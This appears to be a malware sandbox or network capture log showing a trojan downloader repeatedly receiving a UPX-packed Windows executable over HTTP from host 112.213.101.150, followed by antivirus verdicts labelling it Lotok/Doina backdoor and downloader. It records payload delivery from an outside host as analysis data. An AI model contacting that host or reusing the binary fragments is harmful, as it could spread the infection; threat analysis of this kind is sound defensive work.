 buffer: HTTP/1.1 200 OK content-length: 542352 etag: "0:84690:652cb196:f6e14b4" last-modified: Mon, 16 Oct 2023 03:44:22 GMT accept-ranges: bytes content-disposition: attachment; filename="1" content-type: application/octet-stream date: Wed, 22 Nov 2023 04:28:43 GMT MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $aõ%s¦%s¦%s¦s`¦s¦¦}¦s¦q=C¦?s¦Ú>y¦(s¦%r¦xs¦G`¦<s¦8y¦÷s¦8x¦s¦%s¦¤s¦âu¦$s¦Rich%s¦PEL¸õTà à@P 0>` @@€k~$uÄ@$5(UPX0P €àUPX1à` à@à.rsrc@@:ä@À
received: 1024
socket: 824
1 1024 0

recv

 buffer: HTTP/1.1 200 OK content-length: 542352 content-disposition: attachment; filename="1" last-modified: Mon, 16 Oct 2023 03:44:22 GMT accept-ranges: bytes content-type: application/octet-stream etag: "0:84690:652cb196:f6e14b4" date: Wed, 22 Nov 2023 04:28:44 GMT MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $aõ%s¦%s¦%s¦s`¦s¦¦}¦s¦q=C¦?s¦Ú>y¦(s¦%r¦xs¦G`¦<s¦8y¦÷s¦8x¦s¦%s¦¤s¦âu¦$s¦Rich%s¦PEL¸õTà à@P 0>` @@€k~$uÄ@$5(UPX0P €àUPX1à` à@à.rsrc@@:ä@À
received: 1024
socket: 824
1 1024 0

recv

 buffer: HTTP/1.1 200 OK content-length: 542352 last-modified: Mon, 16 Oct 2023 03:44:22 GMT accept-ranges: bytes content-disposition: attachment; filename="1" etag: "0:84690:652cb196:f6e14b4" content-type: application/octet-stream date: Wed, 22 Nov 2023 04:28:45 GMT MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $aõ%s¦%s¦%s¦s`¦s¦¦}¦s¦q=C¦?s¦Ú>y¦(s¦%r¦xs¦G`¦<s¦8y¦÷s¦8x¦s¦%s¦¤s¦âu¦$s¦Rich%s¦PEL¸õTà à@P 0>` @@€k~$uÄ@$5(UPX0P €àUPX1à` à@à.rsrc@@:ä@À
received: 1024
socket: 868
1 1024 0

recv

 buffer: HTTP/1.1 200 OK content-length: 542352 accept-ranges: bytes content-type: application/octet-stream content-disposition: attachment; filename="1" last-modified: Mon, 16 Oct 2023 03:44:22 GMT etag: "0:84690:652cb196:f6e14b4" date: Wed, 22 Nov 2023 04:28:46 GMT MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $aõ%s¦%s¦%s¦s`¦s¦¦}¦s¦q=C¦?s¦Ú>y¦(s¦%r¦xs¦G`¦<s¦8y¦÷s¦8x¦s¦%s¦¤s¦âu¦$s¦Rich%s¦PEL¸õTà à@P 0>` @@€k~$uÄ@$5(UPX0P €àUPX1à` à@à.rsrc@@:ä@À
received: 1024
socket: 852
1 1024 0

recv

 buffer: HTTP/1.1 200 OK content-length: 542352 accept-ranges: bytes content-type: application/octet-stream content-disposition: attachment; filename="1" last-modified: Mon, 16 Oct 2023 03:44:22 GMT etag: "0:84690:652cb196:f6e14b4" date: Wed, 22 Nov 2023 04:28:47 GMT MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $aõ%s¦%s¦%s¦s`¦s¦¦}¦s¦q=C¦?s¦Ú>y¦(s¦%r¦xs¦G`¦<s¦8y¦÷s¦8x¦s¦%s¦¤s¦âu¦$s¦Rich%s¦PEL¸õTà à@P 0>` @@€k~$uÄ@$5(UPX0P €àUPX1à` à@à.rsrc@@:ä@À
received: 1024
socket: 860
1 1024 0

recv

 buffer: HTTP/1.1 200 OK content-length: 542352 etag: "0:84690:652cb196:f6e14b4" last-modified: Mon, 16 Oct 2023 03:44:22 GMT accept-ranges: bytes content-disposition: attachment; filename="1" content-type: application/octet-stream date: Wed, 22 Nov 2023 04:28:49 GMT MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $aõ%s¦%s¦%s¦s`¦s¦¦}¦s¦q=C¦?s¦Ú>y¦(s¦%r¦xs¦G`¦<s¦8y¦÷s¦8x¦s¦%s¦¤s¦âu¦$s¦Rich%s¦PEL¸õTà à@P 0>` @@€k~$uÄ@$5(UPX0P €àUPX1à` à@à.rsrc@@:ä@À
received: 1024
socket: 872
1 1024 0

recv

 buffer: HTTP/1.1 200 OK content-length: 542352 accept-ranges: bytes content-type: application/octet-stream etag: "0:84690:652cb196:f6e14b4" content-disposition: attachment; filename="1" last-modified: Mon, 16 Oct 2023 03:44:22 GMT date: Wed, 22 Nov 2023 04:28:49 GMT MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $aõ%s¦%s¦%s¦s`¦s¦¦}¦s¦q=C¦?s¦Ú>y¦(s¦%r¦xs¦G`¦<s¦8y¦÷s¦8x¦s¦%s¦¤s¦âu¦$s¦Rich%s¦PEL¸õTà à@P 0>` @@€k~$uÄ@$5(UPX0P €àUPX1à` à@à.rsrc@@:ä@À
received: 1024
socket: 868
1 1024 0
host 112.213.101.150
Bkav W32.AIDetectMalware
MicroWorld-eScan Gen:Variant.Doina.65070
Skyhigh BehavesLike.Win32.NetLoader.lh
McAfee Trojan-FVWA!2C19732B70F2
Malwarebytes Trojan.Downloader
Zillya Backdoor.Lotok.Win32.3545
Sangfor Trojan.Win32.Agent.Acga
CrowdStrike win/malicious_confidence_90% (W)
K7GW Trojan-Downloader ( 005ac8791 )
K7AntiVirus Trojan-Downloader ( 005ac8791 )
BitDefenderTheta Gen:NN.ZedlaF.36792.eu4@aukuV8ki
Symantec ML.Attribute.HighConfidence
Elastic malicious (high confidence)
ESET-NOD32 a variant of Win32/TrojanDownloader.Agent.HHI
APEX Malicious
ClamAV Win.Trojan.Doina-10012690-0
Kaspersky HEUR:Backdoor.Win32.Lotok.gen
BitDefender Gen:Variant.Doina.65070
NANO-Antivirus Trojan.Win32.Lotok.kckclu
Avast Win32:RATX-gen [Trj]
Tencent Trojan.Win32.Agent_yh.16001053
Emsisoft Gen:Variant.Doina.65070 (B)
F-Secure Trojan.TR/Dldr.Agent.tuwcb
DrWeb Trojan.DownLoader46.24420
VIPRE Gen:Variant.Doina.65070
TrendMicro TROJ_GEN.R011C0PK123
FireEye Generic.mg.2c19732b70f22a5c
Sophos Troj/DwnLd-ANC
MAX malware (ai score=87)
Jiangmin Backdoor.Lotok.bxd
Google Detected
Avira TR/Dldr.Agent.tuwcb
Varist W32/S-c71d2f7c!Eldorado
Antiy-AVL Trojan[Backdoor]/Win32.Lotok
Kingsoft Win32.Hack.Lotok.gen
Microsoft Trojan:Win32/Lotok.EM!MTB
Arcabit Trojan.Doina.DFE2E
ZoneAlarm HEUR:Backdoor.Win32.Lotok.gen
GData Gen:Variant.Doina.65070
Cynet Malicious (score: 99)
AhnLab-V3 Trojan/Win.Generic.R619293
VBA32 Backdoor.Farfli
ALYac Gen:Variant.Doina.65070
Cylance unsafe
Panda Trj/GdSda.A
TrendMicro-HouseCall TROJ_GEN.R011C0PK123
Rising Downloader.Agent!1.EC5B (CLASSIC)
Ikarus Trojan-Downloader.Win32.Agent
MaxSecure Trojan.Malware.101018141.susgen
Fortinet W32/Agent.HHI!tr.dldr